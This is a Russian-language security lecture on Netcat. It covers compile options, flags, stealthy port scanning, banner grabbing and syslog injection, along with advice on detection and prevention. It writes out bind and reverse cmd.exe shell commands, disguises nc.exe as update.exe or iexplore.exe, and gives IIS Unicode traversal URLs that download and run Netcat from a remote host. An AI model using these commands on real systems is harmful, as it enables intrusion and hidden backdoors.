Инструментальные средства обеспечения безопасности

NETCAT и CRYPTCAT

Разбить на страницы
Показывать лекцию целиком

К вашим услугам изобилие средств обеспечения безопасности сети и углубленного анализа. В большинстве случаев, каждый из инструментов предназначен для определенных целей. Некоторые программы накапливают информацию о сети и присутствующих в сети компьютерах. Другие используются непосредственно для анализа уязвимости. Тем не менее, большинство полезных и часто используемых средств обычно являются многофункциональными и подходят для использования в соответствии с несколькими различными сценариями. NETCAT и CRYPTCAT относятся именно к таким средствам.

NETCAT

Netcat устанавливает и поддерживает TCP (Transmission Control Protocol) и UDP (User Datagram Protocol) соединения, читает и записывает данные по этим соединениям до тех пор, пока они не будут закрыты. Это основа работы сетевой подсистемы TCP/UDP, которая позволяет пользователям взаимодействовать по сети с помощью команд или скриптов с сетевыми приложениями и службами на прикладном уровне. Программа дает возможность увидеть пакеты TCP и UDP данных до того, как они будут упакованы в соответствии с протоколами более высокого уровня, такими как FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol), или HTTP (Hypertext Transfer Protocol).

Примечание. Технически Netcat не устанавливает UDP-соединение, поскольку UDP-протокол работает и без него. В этой лекции, говоря о UDP-соединении, используемом Netcat, мы говорим об использовании Netcat в режиме UDP для того, чтобы начать передачу данных службе UDP, которая передает их принимающей стороне.

Netcat не делает ничего выдающегося. У этой программы нет красивого графического интерфейса пользователя (GUI), и она не выводит данные в виде красивого отчета. Но поскольку Netcat работает на таком базовом уровне, то он удобен для использования во многих ситуациях. Так как Netcat должен использоваться в паре с какими-либо еще программами или техническими приемами, неопытному пользователю его роль может показаться слишком преувеличенной. Управлять из командной строки файлом Readme новичку тоже довольно сложно. Тем не менее, к концу этой лекции вы увидите, что Netcat может стать одним из наиболее используемых инструментов в вашем арсенале.

Реализация

Поскольку у Netcat так много способов применения, его часто сравнивают со "Швейцарским армейским ножом" для работы с TCP/IP и UDP протоколами. Прежде, чем вы сможете изучить, как пользоваться этой программой, придется загрузить и установить ее.

Загрузка

Netcat можно получить из многих источников, и каждый из множества дистрибутивов Unix поставляется с уже готовым к работе модулем Netcat. Не самая плохая идея загрузить исходные тексты этой программы и откомпилировать ее самостоятельно. По умолчанию, Netcat скомпилирован с меньшим, чем этого хотелось бы, количеством опций. Загрузив исходные тексты и скомпилировав их самостоятельно, вы сможете полностью проконтролировать, какие возможности Netcat будут в вашем распоряжении.

Официальный сайт, с которого можно загрузить /.

Установка

Мы не будем углубляться в процедуры загрузки, распаковки и компиляции большинства программ, обсуждаемых в этой книге. Но так как Netcat - первая программа, о которой мы говорим, и поскольку у него есть несколько интересных опций, определяемых на этапе компиляции, будет не лишним углубиться в некоторые подробности.

Скопируйте с упомянутого сайта файл nc110.tgz. Затем распакуйте его.

[root@originic tmp]# ls
nc110.tgz
[root@originic tmp]# mkdir nc
[root@originic tmp]# cd nc
[root@originic tmp]# tar zxf ../nc110.tgz
[root@originic tmp]#
Примечание. В отличие от большинства тарболов (архивов, созданных с использованием утилиты-архиватора tar в Unix системах), Netcat при распаковке не создает собственной директории. Сейчас эти советы могут выглядеть банально, но если все ваши архивы и поддиректории загружены в одну директорию, и вы обнаружите, что Netcat разместил все свои файлы в корне, то понадобится некоторое время чтобы вычистить их оттуда.

Теперь вы готовы начать компиляцию. Обратим внимание на две важные опции, задаваемые перед компиляцией.

  • GAPING_SECURITY_HOLE. Как видно из названия, эта опция может сделать Netcat опасным в чужих руках, но она также делает его весьма мощным инструментом. Если эта опция включена, Netcat сам может запускать внешние программы. Ввод/вывод этих программ в этом случае будет проходить через конвейер данных самого Netcat. Тем самым Netcat ведет себя как функционально усеченный демон inetd, давая вам возможность выполнять удаленные команды (вроде запуска оболочки shell ) всего лишь установив TCP или UDP соединение с контролируемым портом. Эта опция отключена по умолчанию, поскольку весьма велика опасность ее неверного использования или ошибок в конфигурировании.
  • TELNET. Обычно, если вы используете Netcat для соединения с telnet-сервером (используя команду nc servername 23 ), вы уйдете не слишком далеко. Telnet-серверы и клиенты согласовывают некоторые параметры еще до того, как появляется приглашение ввести идентификатор ( login ). Если включить при компиляции эту опцию, то Netcat сможет реагировать на запросы Telnet-сервера (отвечая на каждый из них no), что даст вам возможность дойти до ввода идентификатора. Без этого, если вы захотите получить что-нибудь путное, используя Netcat и telnet, вам понадобится написать собственный скрипт для реализации соединения с telnet-сервером. Возможно, важность этой опции пока вам не ясна, но вы поймете, почему мы обращаем на это внимание, как только посмотрите некоторые примеры приведенные далее в этой лекции.
  • Для того чтобы включить каждую из этих опций, необходимо добавить строку DFLAGS в начало makefile.

    # makefile for netcat, based off same ol' "generic makefile".
    # Usually do "make systape" - if your systipe isn't defined, try "generic"
    # or something else that most closely mathes, see where it goes wrong, fix
    # it, and MAIL THE DIFFS back to Hobbit
    ### PREDEFINES
    # DEFAULT possibly overridden by <systype> recursive call:
    # pic gcc if you'd rather, and/or do -g instead -O if debugging
    # DFLAGS = -DTEST -DDEBUG
    DFLAGS = -DGAPING_SECURITY_HOLE -DTELNET
    CFLAGS = -O

    Вы можете включить одну или обе эти опции в строку DFLAGS.

    Если вы намерены поиграть с приведенными далее примерами, вам следует проделать эти модификации. Однако до того как вы произведете эти изменения, убедитесь в том, что доступ к созданным вами исполняемым файлам запрещен для любого пользователя, или в том, что вы являетесь единственным пользователем в системе. Достаточно того, что другому пользователю также просто загрузить собственную копию Netcat и скомпилировать ее с теми же опциями, и вы вряд ли захотите увидеть, что ваша система взломана, потому что кто-то использовал вашу специально скомпилированную версию Netcat в качестве "черного хода" в вашу систему.

    Теперь вы готовы к компиляции. Просто наберите в командной строке make systemtype, где systemtype - это название Unix-системы, с которой вы работаете (это может быть linux, freebsd, solaris и так далее). Когда процесс закончится, вы обнаружите небольшой исполняемый файл "nc" в текущей директории.

    Для пользователей Windows версию Netcat можно загрузить в виде архива ( nc11nt.zip ), также содержащего исходные тексты. Но поскольку большинство людей не имеют компиляторов, то исполняемый файл подготовлен заранее с опциями, включенными по умолчанию. Просто распакуйте архив и ваш файл nc.exe готов к использованию.

    Командная строка

    Командная строка для Netcat выглядит как nc [options] host ports, где host - имя хоста или его IP-адрес для поиска, а ports - это или номер порта, или диапазон номеров портов (определяемый "m-n" ), или несколько номеров портов разделенных пробелами.

    Теперь вы полностью готовы посмотреть на те поразительные вещи, которые можно проделать с помощью Netcat. Внимательно присмотримся к каждой из опций командной строки, чтобы получить общие представления о возможностях.

  • -d. Доступна только в Windows. Переводит Netcat в режим невидимки. Можно запустить программу в режиме прослушивания, не открывая окно режима MS-DOS. Это также позволяет взломщикам лучше маскировать работающую программу от системных администраторов.
  • -e <command>. Если Netcat скомпилирован с опцией GAPING_SECURITY_HOLE, программа может выполнять команду <command> всякий раз, когда кто-либо устанавливает соединение с прослушиваемым портом, до тех пор, пока клиент Netcat перенаправляет ввод/вывод работающей программе. Использовать эту опцию достаточно опасно, если вы не до конца представляете себе, что вы делаете. Это быстрый и простой способ открыть "черный ход" в вашу систему. Пример будет приведен далее.
  • -i <seconds>. Интервал задержки между пересылками порций данных. Если через конвейер Netcat проходит файл, то программа ждет <seconds> секунд перед тем, как передать следующую строку, поступившую на вход. Если вы используете Netcat для управления несколькими портами на одном хосте, Netcat ждет <second> секунд перед тем, как соединится со следующим портом из перечисленных в строке. Это дает возможность немного замаскировать передачу данных или атаку системной службы, и это позволяет замаскировать сканирование портов от некоторых программных средств, анализирующих попытки внедрения, и от системных администраторов.
  • -g <route-list>. Использование этой опции может быть весьма нетривиальным. Netcat поддерживает возможность маскировки начала маршрутизации (более подробно обсуждается в разделе "Создайте друга: подмена IP-адресов"). Вы можете определить до восьми -g опций в командной строке, чтобы заставить Netcat передавать трафик через определенные IP-адреса, которые обычно используются в случае, если вы подменяете исходящий IP-адрес, с которого поступает ваш трафик (например, для того, чтобы попытаться преодолеть брандмауэр или проверку разрешенных для доступа хостов). Используя этот прием на машине, с которой вы осуществляете управление процессом, вы можете заставить передаваемые пакеты возвращаться по указанному вами адресу вместо продвижения их по реальному направлению. Заметьте, что это обычно не срабатывает, поскольку большинство маршрутизаторов игнорируют опции источника маршрутизации, а многие фильтры и файрволы протоколируют такие попытки.
  • -G <hop pointer>. Эта опция позволяет внести изменения в список маршрутизации, определенный параметром -g с тем, чтобы определить, к какому из адресов переходить. Поскольку IP-адрес - это четырехбайтовое число, этот аргумент всегда представляет собой число, кратное четырем, где 4 означает первый IP-адрес в списке, 8 - второй и так далее. Эта опция обычно используется в том случае, если вы пытаетесь так подделать список маршрутизации, чтобы он выглядел, как будто пакеты приходят откуда-то из другого места. Пропуская первые два IP-адреса, прописанные в списке, определенном опцией -g, и указав в параметре -G число 12, вы определите маршрутизацию пакетов непосредственно на третий адрес в вашем списке маршрутизации. Реальное содержание пакета по-прежнему будет содержать IP-адреса, которые были пропущены, создавая видимость, что пакеты пришли с одного адреса, тогда как на самом деле они пришли откуда-то еще. Этот прием позволяет скрыть, откуда вы пришли на хост, при использовании подмены адресов или списк а маршрутизации, но не факт, что у вас будет возможность получить ответ, поскольку он будет передаваться обратно по маршруту через ваши поддельные IP-адреса.
  • -l. Эта опция переключает режим "прослушивания" Netcat. Она используется совместно с опцией -p, чтобы привязать Netcat к определенному TCP-порту и ожидать входящих соединений. Чтобы использовать UDP-порт, воспользуйтесь опцией -u.
  • -L. Доступная только в Windows-версии программы, более жесткая опция режима "прослушивания", чем -l. Она указывает программе на необходимость перезапуска с теми же параметрами в случае, если соединение было закрыто. Это дает Netcat возможность отслеживать последующие соединения без вмешательства пользователя, каждый раз после завершения первоначального соединения. Как и в случае с опцией -l, эту опцию необходимо использовать совместно с опцией -p.
  • -n сообщает Netcat, что не нужно осуществлять поиск каких-либо хостов. Если вы используете эту опцию, не следует указывать никаких имен хостов в качестве аргументов.
  • -o <hexfile> обеспечивает создание шестнадцатеричного дампа данных и сохранение его в файле hexfile. Команда nc -o hexfile записывает данные, проходящие в обоих направлениях, и начинает каждую строку с символов < или > для обозначения соответственно входящих или исходящих данных. Чтобы записывать в файл только входящие данные, вам следует использовать команду nc -o < hexfile. Соответственно для записи только исходящих данных воспользуйтесь командой nc -o > hexfile.
  • -p <port>. Опция позволяет вам определить локальный номер порта, который следует использовать Netcat. Этот аргумент требуется в случае, если вы используете опции -l или -L для режима прослушивания. Если эта опция не определена для исходящего соединения, Netcat будет использовать порт, который определен для этого в системе, что и делают большинство TCP или UDP клиентов. Имейте в виду, что в Unix-системах только пользователь root может определять номера портов меньше чем 1024.
  • -r. Netcat выбирает локальный и удаленный порт случайным образом. Эта опция полезна в случае, когда Netcat используется для получения информации о большом интервале номеров портов в системе и при этом представить ситуацию так, чтобы это было в меньшей степени похоже на процедуру сканирования портов. В случае если эта возможность используется совместно с опцией -i и с достаточно большим интервалом, то велика вероятность, что сканирование портов не будет обнаружено без внимательного изучения системного журнала администратором.
  • -s определяет исходящий IP-адрес, который Netcat использует для установки соединения. Эта опция позволяет взломщикам выполнять несколько изящных фокусов: скрыть свой IP-адрес или подделать что-либо еще. Но чтобы получить информацию, отправляемую на подмененный адрес, им необходимо использовать опцию определения порядка маршрутизации -g. Далее, используя режим прослушивания, вы можете многократно привязываться к уже прослушанному сервису. Все TCP- и UDP-сервисы работают с портами, но не каждый из них работает с конкретным IP-адресом. Многие службы по умолчанию прослушивают все доступные интерфейсы. Syslog, к примеру, прослушивает UDP-порт 514 для считывания трафика syslog. В то же время, если вы запустили Netcat на прослушивание 514 порта и использовали опцию -s для определения исходящего IP-адреса, любой трафик, проходящий через определенный вами IP-адрес, в первую очередь будет направляться через Netcat. Почему? Если сокет определяет и IP-адрес, и номер порта, это определяет его приоритет над сокетом, который не определяет обоих параметров. Позже мы расскажем об этом подробнее и продемонстрируем, как определить, какой сервис в системе может быть определен заранее.
  • -t. Откомпилированный с опцией TELNET, Netcat может поддерживать взаимодействие с telnet-сервером в соответствии с установленными соглашениями, отвечая незначащей информацией, но дает вам возможность ввести информацию в ответ на приглашение ввести login, когда вы используете TCP-соединение по 23 порту.
  • -u. Опция сообщает программе о необходимости использовать UDP-протокол вместо TCP, работая как в режиме прослушивания, так и в режиме клиента.
  • -v определяет, насколько подробно программа информирует вас о том, что она делает. Если не использовать опцию -v, Netcat выдает только принятую информацию. Если опция -v использована один раз, вы сможете узнать, с каким адресом произошло соединение или какой адрес отслеживается в случае, если возникли какие-то проблемы. Повторное использование опции позволит узнать, какое количество данных было послано или принято до завершения соединения.
  • -w <seconds> определяет промежуток времени, в течение которого Netcat ждет соединения. Этот параметр также сообщает, как долго следует ожидать после получения сигнала EOF (конец файла) на стандартный вход перед разрывом соединения и завершением работы. Это особенно важно, если вы посылаете команды удаленному серверу с использованием Netcat и ожидаете получить большой объем информации (к примеру, посылая веб-серверу HTTP команду на загрузку большого файла).
  • -z. Если вы беспокоитесь только о том, чтобы определить, какой из портов открыт, вам следует использовать nmap (см. лекцию "Сканеры портов"). Но эта опция сообщает Netcat о необходимости послать достаточно данных для поиска открытых портов в заданном диапазоне значений.
  • Теперь, когда у вас появилось представление о возможностях Netcat, познакомьтесь с несколькими примерами использования этой программы в реальной жизни.

    101 способ использовать Netcat

    Люди нашли сотни способов использования Netcat в решении ежедневных задач. Многие из этих задач похожи, отличаясь лишь незначительными деталями. Мы постарались привести некоторые из них, наиболее общие и охватывающие большее число возможностей применения программы. Здесь приведены наиболее важные с нашей точки зрения способы применения Netcat.

    Получение удаленного доступа к командной оболочке

    Хотели бы вы получить доступ к командной строке MS-DOS домашнего компьютера из любой точки земного шара? Запустив команду nc.exe -l -p 4455 -e cmd.exe из командной строки MS-DOS на NT или Windows 2000, любой присоединившийся с помощью telnet к порту 4455 на этом компьютере получит в свое распоряжение DOS-оболочку, без необходимости вводить идентификатор и пароль.

    [root@originix /root]# telnet 192.168.1.101 4455
    Trying 192.168.1.101 :
    Connected to 192.168.1.101
    Escape character is '^]'.
    Microsoft Windows 2000 [Version 5.00.2195]
    (c) Copyright 1985-2000 Microsoft Corp.
    C:\>
    Connection closed by foreign host.
    [root@originix /root]#

    Неплохо сделано! Это к тому же выглядит страшновато. Приложив незначительные усилия, вы получили доступ к командной строке системы. Конечно, в Windows 2000 или NT у вас будут такие же привилегии, как у пользователя, запустившего Netcat. Но такой способ проникновения в Windows 95 и 98 (используя command.com вместо cmd.exe ) позволит вам управлять всей машиной без ограничений. Этот пример демонстрирует, насколько может быть опасен Netcat в чужих руках.

    Примечание. Netcat демонстрирует чрезвычайно неустойчивую работу под управлением Windows 95 и 98, особенно после многократного запуска.

    Попробуем что-нибудь сделать с помощью этой команды. Имейте в виду, что Netcat по умолчанию выполняется внутри того окна DOS, в котором запускается. Это означает, что окно управления командной строкой должно оставаться открытым все время, пока работает Netcat. Использование опции -d для отсоединения от командной строки должно позволить выполняться программе даже после того, как окно поддержки командной строки будет закрыто.

    C:\> nc.exe -l -p 4455 -d -e cmd.exe

    Это делает работу по маскировке "черного хода", созданного с использованием Netcat, более качественной. Однако если кто-нибудь соединится с портом 4455 с помощью telnet, то, как только клиент разорвет соединение, Netcat выполнит команду и прекратит "прослушивание". Используйте опцию -L вместо -l, чтобы сохранить режим прослушивания после того, как первое соединение будет завершено.

    C:\> nc.exe -p 4455 -d -L -e cmd.exe

    Это позволяет взломщику возвращаться в систему до тех пор, пока системный администратор не обнаружит работающую программу ( nc.exe ) в списке выполняющихся задач. Взломщик, правда, может подумать и об этом и переименовать nc.exe как-нибудь так:

    C:\>move nc.exe c:\Windows\System32\Drivers\update.exe
    C:\>Windows\System32\Drivers\update.exe -p 4455 -d -L -e cmd.exe

    Системный администратор может не обратить внимания на файл update.exe - это может быть все, что угодно. Взломщик также может скрыть командную строку. Еще одной возможностью Netcat является то, что если вы запускаете его без опций в командной строке, то программа ожидает получения командной строки в первой строчке стандартного ввода.

    C:\>Windows\System32\Drivers\update.exe 
    Cmd line: -p 4455 -d -L -e cmd.exe
    C:\>

    Теперь, если системный администратор выполнит команду netstat -a -n в командной строке, то сможет заметить, что нечто выполняется на ранее незанятом порту, присоединиться к порту с использованием telnet и раскрыть фокус. Однако Windows использует множество случайных портов по разному поводу, и вывод программы netstat потребует много времени для анализа, особенно в интенсивно используемой системе.

    Взломщик может пытаться использовать различные возможности. Если он, к примеру, проник через сервер Citrix, получил доступ к большому числу пользователей, которые бродили по интернету, то сможет увидеть большое количество запросов к системе DNS (Domain Name System) и интернет-соединений. Выполненная команда netstat -a -n показала бы много исходящих TCP-соединений по 80 порту. Вместо того чтобы запускать экземпляр Netcat на прослушивание на Windows машине и ожидать соединения, Netcat может перенаправлять входной и выходной потоки программы cmd.exe другому экземпляру Netcat, выполняющемуся на другой машине и прослушивающему 80 порт. В этом случае взломщик захочет выполнить следующее:

    [root@originix/root]# nc -l -p 80

    На Windows-машине взломщик естественно пожелает скрыть присутствие Netcat следующим образом:

    C:\>mkdir c:\Windows\System32\Drivers\q
    C:\>move nc.exe c:\Windows\System32\Drivers\q\iexplore.exe
    C:\>cd c:\Windows\System32\Drivers\q
    c:\Windows\System32\Drivers\q>iexplore.exe
    Cmd line -d -e cmd.exe originix 80
    c:\Windows\System32\Drivers\q>

    Теперь Netcat в режиме "прослушивания" должен контролировать командный интерпретатор на Windows машине. Такой подход поможет лучше выполнить работу по маскировке "черного хода" от системного администратора. На первый взгляд соединение будет выглядеть всего лишь, как безобидное HTTP-соединение интернет-броузера. Взломщика может расстраивать только то, что после завершения работы командного интерпретатора у него нет никаких способов перезапустить процесс на Windows машине.

    Есть несколько способов, с помощью которых системный администратор может обнаружить проникновение с использованием Netcat.

  • Использовать утилиту поиска файлов Windows для поиска файлов, содержащих строки " listen mode ", или " inbound connection ". Любой из найденных исполняемых модулей может оказаться программой Netcat.
  • Проверять список активных процессов на предмет поиска любых непонятно зачем выполняемых файлов cmd.exe. За исключением случаев, когда взломщик переименовал cmd.exe, вы сможете поймать его на использовании удаленного выполнения команд, поскольку cmd.exe будет выполняться так, что вы не сможете получить к нему доступ.
  • Использовать команду netstat ("Системные средства с открытым программным кодом: основы") или fprot (лекции "Компоновка и использование набора инструментов для расследования хакерских атак, то есть для "живого ответа" в системе Windows"), чтобы увидеть, какие порты используются в настоящее время и какие приложения их используют. Тем не менее, будьте осторожны с использованием netstat. Netstat может быть легко заменен его "троянской" версией, специально созданной взломщиком для скрытия своей деятельности. Netstat также иногда не сообщает о прослушивании TCP-сокетов до тех пор, пока кто-нибудь не соединится с ним.
  • Сейчас вы познакомились с двумя способами получения удаленного доступа к программному интерпретатору Windows-машины. Очевидно, на успех операции могут повлиять брандмауэры, фильтрация портов, прокси-серверы, которые фактически осуществляют фильтрацию заголовков HTTP-пакетов.

    К использованию этих двух способов подталкивала уязвимость двух компонент популярного web-сервера Internet Information Server (IIS) 4.0 - Microsoft Data Access Components (MDAC) и кодировки Unicode. Способов много, но во всех случаях используются те прорехи в безопасности, которые позволяют выполнять команды на машине под видом пользователя IIS, обращаясь к нему со специально созданными URL. Этот метод могут использовать программы типа TFTP (Trivial File Transfer Protocol), если таковые установлены на машине, загружая модуль nc.exe с удаленной машины и выполняя одну из команд для организации черного хода. Ниже приведен пример такой URL-строки, которая позволяет использовать TFTP для скачивания Netcat с удаленной машины, "благодаря" уязвимости Unicode-кодировки.

    http://10.10.0.1/scripts/%c1%pc/../winnt/system32/cmd.exe?/
    c+tftp%20-i%20originix%20GET%20nc.exe%20update.exe

    Если повезет, эта команда позволит скачать Netcat на хост с адресом 10.10.0.1 в директорию Inetpub\Scripts под именем update.exe. Затем взломщик сможет запустить Netcat, используя другую строку URL.

    http://10.10.0.1/scripts/%c1%pc/../inetpup/scripts/
    update.exe?-l%20-d%20-L%20-p%20443%20-e%20cmd.exe
    Примечание. В приведенных выше строках URL web-сервер воспринимает комбинацию символов %20 как пробел.

    Соединение с портом 443 по протоколу Telnet позволяет исполнять команды на удаленной машине. Это весьма простой и эффективный способ атаки удаленной машины, и к тому же он может быть автоматизирован. Однако этот вид атаки оставляет следы. Во-первых, все URL-запросы, которые были использованы, сохраняются в системном журнале IIS. Просматривая журнал на предмет наличия в нем строк, содержащих комбинацию символов tftp, вы можете обнаружить момент, когда кто-то пытался провести такую атаку. К тому же, большинство текущих версий IDS могут просматривать содержимое строк URL, форматированных аналогичным образом (к примеру, на предмет включения в них строк cmd.exe или спецсимволов Unicode).

    Вы можете предупредить такие атаки.

  • Убедитесь, что ваш IIS выполняется с использованием обновленной версии системы безопасности.
  • Заблокируйте соединения, исходящие с вашего сервера, настройками брандмауэра. В большинстве случаев ваш web-сервер не нуждается в установке соединений с внешним миром. Даже если ваша версия IIS уязвима, действие TFTP бесполезно из-за невозможности ответного соединения.
  • Незаметное сканирование портов

    Поскольку Netcat может опрашивать диапазон портов, вероятно использование его для их сканирования. Вы сразу захотите установить соединение с большим количеством портов на контролируемом хосте.

    [root@originix nc]#./nc target 20-80

    Но это не сработает. Запомните, что Netcat не предназначен специально для сканирования портов. В указанной ситуации Netcat соединится с 80-м портом, и будет пытаться установить TCP-соединение до тех пор, пока не дождется ответа. Как только по этому порту придет ответ, Netcat будет ожидать получения информации по стандартному входу, установленному перед соединением. Это не совсем то, чего вы добивались.

    Решением будет опция -z. Эта опция указывает программе на необходимость передать минимальное количество данных для получения ответа от открытого порта. Используя эту опцию, не следует ожидать от Netcat получения каких-либо данных на вход или ждать вывода какой либо информации (таким образом вы заставите перейти программу в режим "нулевого ввода/вывода"). Поскольку опция -v дает возможность получать более подробную информацию о работе программы, вы можете использовать ее для просмотра результатов сканирования портов. Иначе вы ничего не увидите.

    [root@originix nc]#./nc -z 192.168.1.100 20-80
    [root@originix nc]#./nc -v -z 192.168.1.100 20-80
    originix [192.168.1.100] 80 (www) open
    originix [192.168.1.100] 23 (telnet) open
    originix [192.168.1.100] 22 (ssh) open
    originix [192.168.1.100] 21 (ftp) open
    [root@originix nc]#

    Использовав опцию -v, вы увидите, что несколько наиболее очевидных сервисов работают в заданном промежутке номеров TCP-портов. Как это будет выглядеть в системном журнале?

    Feb 12 03:50:23 originix sshd[21690]: Did not receive 
       ident string from 192.168.0.105
    Feb 12 03:50:23 originix telnetd[21689]: ttloop: read: Broken pipe
    Feb 12 03:50:23 originix ftpd[21691]: FTP session closed

    Обратите внимание, что все эти события произошли в одно время и с увеличивающимися идентификаторами процессов (от 21689 до 21691). Представьте, если бы вы сканировали больший интервал портов. Вы получили бы существенно больший объем вывода. К тому же некоторые службы, такие, как sshd, ведут себя весьма молчаливо по отношению к сканерам IP-адресов.

    Всякий раз, когда вы делаете попытку сканирования портов, по которым ничего не проходит, в большинстве сетей есть системы обнаружения попыток вторжения, которые немедленно отмечают этот вид активности в сети и сообщают об этом системному администратору. Некоторые брандмауэры могут автоматически блокировать IP-адрес, если от него за короткий промежуток времени исходит большое количество запросов на соединение.

    Netcat позволяет производить сканирование достаточно незаметно. Вы можете использовать опцию -i и задать интервал для попыток соединения. Использование опции -r для задания случайной последовательности сканирования портов из выбранного интервала также поможет замаскировать вашу деятельность по сканированию портов.

    ./nc -v -z -r -i 42 192.168.1.100 20-80

    Эта командная строка определяет случайную последовательность выбора портов и задает интервал в 42 секунды между попытками соединения. Это введет в заблуждение любые автоматические средства защиты, но свидетельства попыток сканирования все равно останутся в системном журнале исследуемого хоста; правда в более разбросанном виде.

    Совет. Сканирование UDP-портов проблематично. Netcat опирается на получение сообщений об ошибках от ICMP (Internet Control Message Protocol) для того чтобы определить - открыт или закрыт UDP-порт. Если ICMP блокирован брандмауэром или фильтром, то Netcat может выдать ложное сообщение о том, что закрытый UDP-порт якобы открыт.

    Netcat - не самый подходящий инструмент для сканирования портов. Поскольку он может использоваться для решения общих задач значительно лучше, чем для решения конкретных, возможно, вам следует использовать для сканирования инструмент, созданный специально для этого.

    Совет. Если вы, при попытке сканирования с помощью Netcat, получили сообщение об ошибке в отношении адреса, который уже используется, возможно, вам необходимо зафиксировать Netcat для использования с конкретным IP-адресом и конкретным портом (используя опции -p -s ). Выберите порт, о котором известно, что его можно использовать (только пользователь root может использовать порты с номерами меньше чем 1024) и это ничем не ограничено.

    Идентифицируйте себя, и службы расскажут о себе все

    Использовав Netcat или специально предназначенную для сканирования портов программу (вроде nmap, см. лекцию "Сканеры портов") для определения, какие порты в системе открыты, вы можете получить более подробную информацию об этих портах. Обычно это можно сделать, подключившись к порту; служба немедленно сообщит вам номер версии, экземпляр и, возможно, сведения об управляющей операционной системе. В результате вы получите возможность использовать Netcat для сканирования определенного интервала портов и получения сведений о работающих службах.

    Имейте в виду, что, используя Netcat в автоматическом режиме, вы не сможете вводить команды в командной строке, поскольку программа не ожидает ввода информации от пользователя на стандартный ввод. Если вы просто запустите на выполнение команду nc 192.168.1.100 20-80, вы не сможете ничего узнать, поскольку программа остановится на первом же установленном соединении (возможно, это будет web-сервер, прослушивающий 80 порт) и затем будет ожидать, когда вы что-либо сделаете. Так что вам понадобится вычислить, что подавать на вход всем этим службам, чтобы вынудить их сообщить нам о себе нечто большее. Как только вы это сделаете, передав службе команду QUIT и внеся путаницу, информация посыплется на вас, как бобы из корзинки.

    [root@originix nc]#echo QUIT | ./nc -v 192.168.1.100 21 22 80 
    originix [192.168.1.100] 21 (ftp) open
    220 originix FTP server (Version wu-2.5.0(1) 
      Tue Sep 21 16:48:12 EDT 1999) ready.
    221 Goodbye
    originix [192.168.1.100] 22 (ssh) open
    SSH-2.0-OpenSSH_2.3.0p1
    Protocol mismatch.
    originix [192.168.1.100] 80 (www) open
    <!Doctype HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <HTML><HEAD>
    <TITLE>501 Method Not Implemented</TITLE>
    </HEAD><BODY>
    <H1>Method Not Implemented</H1>
    QUIT to /index.html not supported.<P>
    Invalid method in request QUIT<P>
    <HR>
    <ADDRESS>Apache/1.3.14 Server at 127.0.01 Port 80</ADDRESS>
    </BODY></HTML>
    [root@originix nc]#
    Совет. Помните, что когда вы автоматически подключаетесь к нескольким портам, используйте опцию -v, чтобы можно было отделить вывод сообщений одной службы от другой. Также, если вы используете автоматическое соединение с несколькими портами, один из которых telnet-сервер, вам следует использовать опцию -t, чтобы пропустить передаваемую двоичную информацию (следствие взаимодействия telnet-сервера с клиентом). Обычно хорошим выходом является пропустить 23 порт и работать с ним отдельно.

    Полученный результат не слишком красив, но мы узнали о версиях трех работающих служб. Взломщик может использовать информацию для поиска версий, имеющих слабые места (http://www.securityfocus.com/ - прекрасное место для поиска информации о слабых местах разных версий программ). Взломщик, который нашел привлекательный с его точки зрения порт, может попытаться получить больше информации о нем, сосредоточившись на исследовании этой службы и попытавшись говорить на ее языке.

    Сосредоточимся на web-сервере Apache. QUIT - команда, которую протокол HTTP не понимает. Попытаемся сказать что-нибудь более подходящее.

    [root@originix nc]#./nc -v 192.168.1.100 80 
    originix [192.168.1.100] 80 (www) open
    GET / HTTP
    HTTP/1.1 200 OK
    Date% Tue, 12 Feb 2002, 09:43:07 GMT
    Server: Apache/1.3.14 (Unix) (Red-Hat/Linux)
    Last Modified: Sat, 05 Aug 2000 04:39:51 GMT
    Etag: "3a107-24-398b9a97"
    Accept-Ranges: bytes
    Content-Length: 36
    Connection: Close
    Contebt-Type: text/html
    I don't think you mean to go here.
    [root@originix nc]#

    Какая прелесть! Мы сказали коротенькую HTTP-фразу (набрав команду GET/HTTP и затем дважды нажав клавишу Enter) и Apache ответил. Он показал нам корневой файл index.html и все HTTP заголовки в нетронутом виде без преобразований, которые обычно выполняют браузеры на прикладном уровне. Заголовки сервера сообщили нам не только то, что мы имеем дело с сервером Apache на Unix-машине, но и то, что это машина находится под управлением Red-Hat.

    Совет. Чтобы ввести в заблуждение взломщика, системный администратор может изменить эту информацию. Это не так просто, но неизменно приводит взломщиков в изумление, если, конечно, они доверяют получаемой информации.

    Взаимодействие с UDP-службами

    Мы уже упоминали, что иногда Netcat используется в качестве слегка улучшенного Telnet-клиента. Несмотря на то, что многие вещи, которые делаются с помощью Netcat (вроде общения напрямую с HTTP-сервером), можно выполнять и с помощью telnet, у него есть некоторые ограничения, которых нет у Netcat. Во-первых, telnet не может корректно передавать двоичную информацию. Некоторые такие данные интерпретируются telnet, как команды. Следовательно, telnet не может корректно передавать поток данных транспортного уровня. Во-вторых, telnet закрывает соединение, как только он встретит во входном потоке символ EOF. Netcat может оставаться открытым до тех пор, пока соединение не будет закрыто извне, что часто используется для написания скриптов инициирующих соединение для ожидания большого объема передаваемых данных, которые посылаются одной строкой. Однако, вероятно наилучшей возможностью Netcat, по сравнению с telnet, является его способность взаимодействовать по протоколу UDP.

    Рискнем запустить демона для ведения системного журнала на вашей Unix-машине - хорошо? Если он сконфигурирован для получения сообщений от других хостов в сети, то вы увидите что-то на 514 UDP-порту, если воспользуетесь командой netstat -a -n. (Если не можете, посмотрите соответствующие man -страницы, чтобы узнать, как запустить syslog в сетевом режиме).

    Один из способов определить, принимает ли syslog UDP-пакеты, это попробовать следующую команду и посмотреть, что будет отражаться в журнале.

    [root@originix nc]# echo "<0> I can speak syslog" | 
      ./nc -u 192.168.1.100 514
    Message from syslog@originix ar Tue Feb 12 06:07:48 2002 :
    originix I can speak syslog
    punt!
    [root@originix nc]#

    Символы <0> указывают на наивысший уровень журнализации, kern.emerg, гарантирующий, что это сообщение должно быть записано где-то в системе (см. файл /etc/syslog.conf, чтобы точно знать, где). И если вы проверите журнал сообщений ядра, то сможете увидеть что-то вроде этого:

    Feb 12 06:00:22 originix kernel: Symbols mathc 
      kernel version 2.2.12.
    Feb 12 06:00:22 originix kernel: Load 18 symbols from 5 modules.
    Feb 12 06:00:22 originix I can speak syslog
    Совет. Если вы запустили UDP-сессию для Netcat и передали что-то на вход, а после нажатия клавиши Enter Netcat немедленно закончил работу, проверьте, не занят ли используемый вами UDP-порт.

